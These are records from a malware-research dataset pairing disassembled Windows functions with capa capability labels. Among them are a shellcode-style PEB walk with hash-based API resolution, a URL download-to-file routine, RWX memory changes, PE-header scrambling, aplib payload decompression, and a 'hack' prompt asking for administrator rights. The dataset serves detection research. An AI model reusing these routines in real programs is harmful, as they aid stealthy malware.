joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003450
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rdi, rcx
xor esi, esi
lea ecx, [rsi + 8]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1400034dc
mov rdx, rdi
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
test eax, eax
je 0x1400034d7
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1400034b1
jmp 0x1400034dc
mov rsi, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140008940
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400083f0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
cmp qword [rdx + 0x18], 0xf
mov rbx, r8
mov rdi, rdx
mov rcx, rdx
jbe 0x140008412
mov rcx, qword [rdx]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
cmp qword [rbx + 0x18], 0xf
mov r8, rbx
jbe 0x140008425
mov r8, qword [rbx]
cmp qword [rdi + 0x18], 0xf
mov rdx, rdi
jbe 0x140008432
mov rdx, qword [rdi]
xor esi, esi
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rcx, qword [rdi + 0x18]
test eax, eax
js 0x1400084d4
cmp rcx, 0xf
jbe 0x140008487
lea rdx, [rcx + 1]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140008482
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000856d
mov rcx, r8
call fcn.140008960
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 0xf
mov byte [rdi], sil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400084d0
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400084cb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000856d
mov rcx, r8
call fcn.140008960
mov al, 1
jmp 0x14000854e
cmp rcx, 0xf
jbe 0x140008507
lea rdx, [rcx + 1]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140008502
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000856d
mov rcx, r8
call fcn.140008960
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 0xf
mov byte [rdi], sil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000854c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140008547
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000856d
mov rcx, r8
call fcn.140008960
xor al, al
mov byte [rbx], sil
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3

Function at 0x140008580
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400085e7
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
lea r9d, [rbx + 4]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x3c]
mov dword [rsp + 0x38], 4
lea edx, [rbx + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400085f7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x14000861e
xor r9d, r9d
lea r8, [0x14000c260]
lea rdx, str.Mo_Hack__Chuot_Phai_Chon_Run_as_administrator
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140008940
add rsp, 0x50
pop rbx
ret
Function at 0x140008690
Capabilities:
Manipulate console buffer

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
sub rsp, 0x20
mov ecx, 0xfffffff5
mov ebx, r8d
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 2
mov word [rsp + 0x3a], bx
mov word [rsp + 0x38], cx
mov rcx, rax
mov edx, dword [rsp + 0x38]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]

Function at 0x1400093fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009446
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009446
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009446
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009446
cmp dword [rcx + 0x84], 0xe
jbe 0x140009446
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009448
xor al, al
add rsp, 0x28
ret

Function at 0x1806b118b
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp], 0xa3e0108
xor dword [rsp + 4], r11d
lea r9, [0x1806b5950]
lea rsp, [rsp + 8]
movzx r11d, byte [rbp + riz]
push 0x67a4c40b
xor r11d, ecx
and r11d, 0xff
mov r11d, dword [r9 + r11*4]
shr ecx, 8
xor ecx, r11d
neg word [rsp + 6]
inc rbp
xor ecx, 0x5e90ecaf
sar qword [rsp], 0x52
dec r10
not dword [rsp + 2]
push 0x110e90a
lea rsp, [rsp + 0x10]
jne 0x1806b11a4
call fcn.1806b7b3b
Function at 0x1400112a3
Capabilities:
Terminate process

Disassembly:
jmp 0x140014160
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011366
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400154b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400154d0
xor al, al
jmp 0x140015551
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400154e3
xor al, al
jmp 0x140015551
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001550d
xor al, al
jmp 0x140015551
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015521
xor al, al
jmp 0x140015551
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015533
xor al, al
jmp 0x140015551
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001554f
xor al, al
jmp 0x140015551
mov al, 1
add rsp, 0x38
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
xor r9, r9
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140a87058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140a871df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a87089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a8706f
add dl, dl
jne 0x140a87096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a870f6
xor eax, eax
add dl, dl
jne 0x140a870a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a871ad
add dl, dl
jne 0x140a870b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a870c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a870d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a870dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a870ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a8707e
mov eax, 1
add dl, dl
jne 0x140a87106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a87113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a870fb
sub eax, ebx
mov ebx, 1
jne 0x140a8714c
mov ecx, 1
add dl, dl
jne 0x140a8712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a8713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a87123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a87168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a87175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a8715d
cmp eax, 0x7d00
jae 0x140a8719b
cmp eax, 0x500
jb 0x140a87196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8707e
cmp eax, 0x7f
ja 0x140a8719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a871d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a8707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400048e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13d8
call fcn.1402aa5b0
sub rsp, rax
mov rax, qword [0x140554040]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
lea rcx, [rsp + 0x20]
call fcn.1400020f0
mov dword [rsp + 0x13b4], 0xffffffff
mov ecx, 1
mov edx, dword [rax]
mov dword [rsp + 0x34], edx
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x34], edx
inc rcx
cmp rcx, 0x270
jb 0x140004920
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x270
call fcn.1400280f0
mov ecx, eax
lea rdx, [rcx + rcx*4]
test edx, edx
jne 0x140004975
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
call fcn.1400280f0
mov ecx, eax
lea rdx, [rcx + rcx*4]
cmp edx, 1
jb 0x140004960
shr rdx, 0x20
test edx, edx
je 0x140004a2f
sub edx, 1
je 0x140004a10
sub edx, 1
je 0x1400049f1
sub edx, 1
je 0x1400049d2
cmp edx, 1
je 0x1400049b3
xor eax, eax
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e9c90
add rsp, 0x13d8
ret
lea rax, [0x140524b48]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e9c90
add rsp, 0x13d8
ret
lea rax, [0x140524b68]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e9c90
add rsp, 0x13d8
ret
lea rax, [0x140524b18]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e9c90
add rsp, 0x13d8
ret
lea rax, [0x140524b38]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e9c90
add rsp, 0x13d8
ret
lea rax, [0x140524ae8]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e9c90
add rsp, 0x13d8
ret
Function at 0x1400053e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0x50
mov rax, qword [0x140554040]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, qword [rcx + 0x50]
movabs rax, 0x6666666666666667
mov rbx, qword [rcx + 0x48]
mov rdx, rsi
sub rdx, rbx
mov rbp, rcx
imul rdx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
jne 0x14000542c
xor al, al
jmp 0x1400054e8
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], r14
cmp rbx, rsi
je 0x1400054b0
xor r14d, r14d
mov edx, dword [rbx + 8]
lea r9, [rsp + 0x38]
mov rcx, qword [rbx]
mov r8d, 0x40
mov dword [rsp + 0x38], r14d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140005519
mov ecx, dword [rbx + 8]
call fcn.140004e20
mov rdi, rax
test rax, rax
je 0x14000548d
mov r8d, dword [rbx + 8]
mov rdx, rax
mov rcx, qword [rbx]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edx, dword [rbx + 8]
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x38]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400054fd
add rbx, 0x28
cmp rbx, rsi
jne 0x140005441
mov rbx, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x50]
cmp rbx, rdi
je 0x1400054d9
nop dword [rax]
mov rcx, rbx
call fcn.1400062c0
add rbx, 0x28
cmp rbx, rdi
jne 0x1400054c0
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x50], rax
mov rdi, qword [rsp + 0x78]
mov al, 1
mov r14, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400e9c90
add rsp, 0x50
pop rsi
pop rbp
pop rbx
ret
lea rcx, [rsp + 0x20]
call fcn.1400021d0
lea rdx, [0x14054ff78]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
xor eax, eax
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rax
call fcn.140002210
lea rdx, [0x14054fda0]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x140005550
Capabilities:
Allocate or change rwx memory
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x12f0]
mov eax, 0x13f0
call fcn.1402aa5b0
sub rsp, rax
mov rax, qword [0x140554040]
xor rax, rsp
mov qword [rbp + 0x12e0], rax
mov rsi, rcx
mov dword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.1400020f0
mov dword [rbp + 0x12d4], 0xffffffff
mov edx, 1
mov ebx, 0x270
mov r8d, dword [rax]
mov dword [rsp + 0x54], r8d
nop word [rax + rax]
mov eax, r8d
shr eax, 0x1e
xor eax, r8d
imul r8d, eax, 0x6c078965
add r8d, edx
mov dword [rsp + rdx*4 + 0x54], r8d
inc rdx
cmp rdx, rbx
jb 0x1400055c0
mov rdi, qword [rsi + 0x10]
lea r9, [rsp + 0x40]
mov r8d, 4
mov dword [rsp + 0x50], ebx
mov rcx, rdi
movsxd rdx, dword [rdi + 0x3c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140005774
lea rax, [rsp + 0x58]
nop dword [rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub rbx, 1
jne 0x140005610
mov ecx, dword [rsp + 0x50]
mov edx, dword [rsp + rcx*4 + 0x54]
mov eax, edx
shr eax, 0xb
inc ecx
and eax, dword [rbp + 0x12d4]
xor edx, eax
mov dword [rsp + 0x50], ecx
mov eax, edx
lea rcx, [rsp + 0x50]
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
mov word [rdi + 2], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 8], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 6], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x16], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x12], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x14], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x18], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0xc], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0xa], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x24], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x26], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x1a], ax
call fcn.1400280f0
lea rcx, [rsp + 0x50]
mov word [rdi + 0x10], ax
call fcn.1400280f0
movsxd r8, dword [rdi + 0x3c]
xor edx, edx
mov word [rdi + 0xe], ax
sub r8, 0x40
mov rcx, qword [rsi + 0x10]
add rcx, 0x40
call sub.VCRUNTIME140.dll_memset
movsxd rdx, dword [rdi + 0x3c]
lea r9, [rsp + 0x40]
mov rcx, qword [rsi + 0x10]
lea r8d, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000579c
mov al, 1
mov rcx, qword [rbp + 0x12e0]
xor rcx, rsp
call fcn.1400e9c90
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, [rsp + 0x28]
call fcn.1400021d0
lea rdx, [0x14054ff78]
lea rcx, [rsp + 0x28]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x140023bf0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140554040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400e9cb0
mov r8, qword [rbx]
mov qword [rax], r8
mov qword [rax + 8], rdi
mov qword [rsp + 0x30], rax
lea rbx, [rsi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140028360]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsi], rax
test rax, rax
je 0x140023c7a
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400e9c90
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x140027bd0
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x140027c01
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x140707068]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x140707078]
lea rdx, [rdi + rdi]
call fcn.140019cf0
mov rax, qword [0x140707068]
lea r9, [rdi - 1]
mov qword [0x140707090], r9
mov qword [0x140707098], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x140027d74
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x140707078]
mov r9, qword [r11]
cmp r9, rbx
jne 0x140027cc0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x140027d35
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x140027cfd
mov r10, qword [rdx]
cmp r10, rax
je 0x140027cf7
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x140027d35
cmp r9, rdx
je 0x140027d11
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x140027d49
cmp r9, rdx
jne 0x140027d02
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x140027d6f
mov r9, qword [0x140707090]
jmp 0x140027c71
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x140027d35
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400280f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140028151
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140028110
mov ecx, dword [r9]
jmp 0x140028238
cmp ecx, 0x4e0
jb 0x140028238
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140028170
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400281c0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret